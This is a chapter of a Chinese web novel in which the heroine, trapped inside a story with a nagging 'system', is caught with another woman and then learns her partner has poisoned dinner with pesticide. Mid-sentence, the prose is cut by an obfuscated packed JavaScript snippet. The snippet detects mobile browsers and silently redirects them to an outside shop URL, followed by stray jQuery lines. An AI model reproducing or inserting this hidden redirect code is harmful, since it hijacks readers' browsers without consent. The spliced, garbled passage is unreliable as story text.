22. 你下药?
作品:《主角受她心怀不轨》 李惜白的心突然震了一下,手悬在门把上迟迟摁不下去。
“阿白,开门。”外面人仿佛可以隔着门看到她。
“怎么了?”顾轻水走过来,见李惜白依旧愣着不动,便覆上李惜白放在门把上的手,慢慢往下压。
门被拉开,容莲单薄的身影出现在眼前。
她穿得很少,唇色浅淡,脸颊苍白,大概是来得匆忙,连件外套都没有。
顾轻水对她优雅微笑:“这次来得倒很快。”
容莲只是垂眼看着两人相握的手。
李惜白慌忙抽出自己的手,心虚地低下头,却仍感到一股冷飕飕的目光在盯着自己。
顾轻水没有丝毫被嫌弃的不适,淡笑着主动解释:“小莲,你千万不要误会,惜白刚刚绝对没有要求我对她做些奇怪的事,也绝对没有很热情地回应我……”
李惜白实在听不下去这人造谣式的解释,一把抓住她的胳膊拽到一边,压低声问:“你到底想干什么?”
顾轻水因为这过近的距离愣了一下,眨了眨眼,自然地亲了上去。
李惜白炸了。
浑身通电一般炸了,慌乱地退后几步,下意识往容莲的方向看去。
容莲依旧面无表情地看着她们。
感觉小白花要杀人是怎么回事……
死了半天的系统突然复活:“恭喜宿主成功出轨被捉,我已经感受到主角受浓浓的怨气了!请宿主再接再厉!”
“宿主!不要低头!要直面主角受!告诉她!没错!你就是出轨了!”系统撕心裂肺地喊。
这家伙程序错乱了吧……
李惜白当然知道,不管剧情乱成什么样子,渣攻都是不能和正攻一起出轨的。
完了,自己的脑子也错乱了。
那头顾轻水已经拎起包,戴上墨镜,恢复了光鲜亮丽大明星的气场,若无其事地对两人浅笑几下:“司机已经到楼下了,我先走了。”
说完,踩着黑高跟迈进电梯,甚至还有闲心冲她们挥手告别。
随着电梯运行,空气安静下来。
李惜白咽咽口水,不太敢转头,也不知道该说什么:“其实……”
“我辞职了。”容莲轻声道。
“啊,什么时候?”李惜白有点意外。
“今天下午。”
李惜白蹙起眉来,李青这个人怎么这么多变,上午还夸容莲好,下午就炒了她?
“是我主动辞的。”容莲的声音平静无波,带着一种奇怪的淡然。
李惜白心虚地瞥她一眼,表情也无任何异样。
良久,容莲转头对她微笑了一下:“阿白,我们回家吧。”
仿佛一切都相安无事。容莲依旧对她微笑,依旧问她今晚想吃什么,依旧万分体贴温柔。
只是那双眼中不再有温度,像是彻底心死了一般。
然而容莲越是这样平静,李惜白就越不安。
打车回家的路上,容莲一直望着车窗外。
随着夜幕降临,外面的霓虹灯渐次亮起,慢慢点燃这个城市。
容莲眼中映衬着那些光彩夺目的东西,不甘心地看了一遍又一遍,却知道留不住半片辉光。
因为它从不属于自己。
*
鞋子里蜷着一个毛茸茸的小东西。
它顾头不顾尾地缩进鞋里装死,身体微微打着颤,站在旁边都能感受到它的心跳。
这是只小三花。
没等李惜白伸手去摸,容莲就把她抓了出来,拎进笼子里。
猫嗷嗷叫着,不满就此失去自由。
“哪来的猫?”李惜白好奇凑过去,用玩偶去逗它。它的左耳朵是橘色的,右耳朵是黑色的,身上的花纹搅成一团,正扒着笼门向外看。
“同事送的。”
“哪个同事?”
“你不认识。”
“哦。”
虽然气氛有些诡异,但比起渣攻贱受要死要活的情节来说,还能这样不尴不尬的对话,李惜白挺知足了。
“饭做好了我会叫你。”自从回来后,容莲的话就变得极其简洁。
她看一眼笼子里的猫,皱眉道:“别让它咬到。”
“哦。”
容莲大概不太喜欢宠物,再加上她有洁癖,李惜白猜测这小家伙以后怕是很难出笼子了。
看着容莲进了厨房,李惜白偷偷摸摸把小三花从笼子里放出来,本想是和它玩一玩,没想到这小家伙一出来就飞一般溜进沙发底下,怎么叫都不出来。
李惜白只好跪在地上,上身趴下去看沙发缝,装猫妈妈一样“喵”个不停,一开始小三花还弱弱回应着,到后来不知道是嫌李惜白太烦,还是累睡着了,一点声也没了。
李惜白又不依不饶地叫了半天,连容莲都听不下去,从厨房出来,把沙发移开,再把猫抓笼子里,顺便把水换了一遍。
这期间,容莲一个眼神都没给过趴在地上的李惜白,动作娴熟老练,像收拾垃圾一样。
李惜白尴尬地起身,多嘴问:“取名字了吗?”
容莲没有理她,大概是嫌弃她又给自己增加工作量,
猫主人都没发话,李惜白自然是不好擅自取名字的。她一直想养一只猫,一是因为讨厌老鼠,二是因为她从小就心疼汤姆猫。
每次在孤儿院吃完晚饭看动画片,播到汤姆被那只老鼠耍得团团转时,周围小孩都笑个没完,就她自己莫名生老鼠的气。
工作后总跟着剧组跑来跑去,怕猫不适应多变的环境,也就没敢养。
总是想着再多挣些钱,慢慢稳定下来,有了空闲时间,再去养一只猫。
可钱是挣不完的。
而现在,却真的有一只猫蹭在自己鞋边了。
李惜白蹲下身摸摸它的头,转头问一旁的容莲:“为什么又放出来了?”
容莲依旧没说话,不好说她这种状态是聋了还是哑了,总之不太正常。她的目光停在李惜白身上很久,终于说了一句:
“饭好了。”
*
容莲握着筷子,望着眼前的菜出神,脸上没有丝毫气色,仿佛一片白纸。
李惜白瞄了她几眼,没看出什么门道,便心安理得地夹起一朵西兰花,谁知道西兰花刚沾到嘴唇,就被突然站起的容莲伸手打掉了。
连筷子都摔在了地上,发出清脆的声音。
靠着桌子腿睡觉的小三花被吓醒,站起来悠
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16757980|189427||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
悠踱步到筷子边,低头嗅了嗅,顿时嫌恶地离开了。
李惜白作疼地揉着手腕,皱眉看她:“你这是做什么?”
容莲的眼眶莫名发起红来,垂着头不说话。
“到底怎么了?”李惜白看着她沉默,心里也有些难受。
“没事,你吃吧。”
这样还没事就有鬼了。
李惜白心里大概有了猜测,拿过容莲还未用过的筷子,又夹了一筷菜。
容莲慢慢抬起头看她。
“知道下药了为什么还要吃?”
李惜白装傻,“什么药?”
“农药。”
李惜白放了筷子,稍微点点头:“味道确实很大。”
“放了两瓶。”容莲一直看着她,眼底沉寂一片。
完全奔着要她死的念头来的……这家伙不是小白莲,是潘金莲。
李惜白有些发怵,知道自己现在应该表现得愤怒、惊骇,觉得对方无可饶恕,掀桌走人。
可是做不到。
李惜白不是影后影帝,她只是个演技稀烂、每天都被导演骂的小演员。
她做不到完全贴合角色,从角色的角度看任何事物。
更何况这个潘金莲要哭了。
“宿主,看来主角受已经对你恨之入骨了,”系统用一种哀叹的声音感慨道,“希望宿主未来还能好好活着。”
其实李惜白并不记得主角受有爱哭的设定,但自从上一次容莲因为找自己找了太久而哭了后,这家伙哭的频率就越来越高了。
李惜白起身给她抽了两张纸巾,硬塞进她手里,然后坐在自己位子上托腮看她。
容莲握着那团揉乱的纸去蘸眼泪,纸顿时湿了一半。
见是这种状况,李惜白干脆去拿了一卷纸,抱在怀里给她送纸。
饭菜都凉了,容莲也实在哭不出来了,却见李惜白还不厌其烦地给她扯纸,仿佛不会累一样。
容莲不知道的是,李惜白被惩罚24小时不能睡觉,如果她有能力哭一晚上,李惜白也可以这样陪她一晚上。
见容莲有停下来的趋势,李惜白终于有空问出自己感兴趣好久的问题:“你为什么哭的时候没有声音啊?”
“……不知道。”
李惜白:“没事,这样挺酷的。”
容莲用哭干了泪的眼看她。
李惜白再给她递一张纸:“真的,我就想这样。”
容莲依旧静静地看着她。
李惜白有些尴尬,不知道自己又说了什么不该说的,目光从容莲身上偏开,扫一眼满桌的毒饭菜,起身道:“我收拾一下吧。”
容莲突然轻笑了一下。
自己在克制些什么呢?
一些拿不上台面的冲动,一些令人发笑的想法。
如果眼前人真的死掉就好了。
如果能将这个人轻飘飘地从自己生命中摘除就好了。
可每一次想杀死她,就像要杀掉自己一样,身体的本能在拼命抵抗着。
为什么呢?不是已经在看到她和那个女人在一起后,就彻底心死了吗?
“喂……”李惜白担心地看着她,轻轻把手贴上她额头,“你是不是发烧了?“

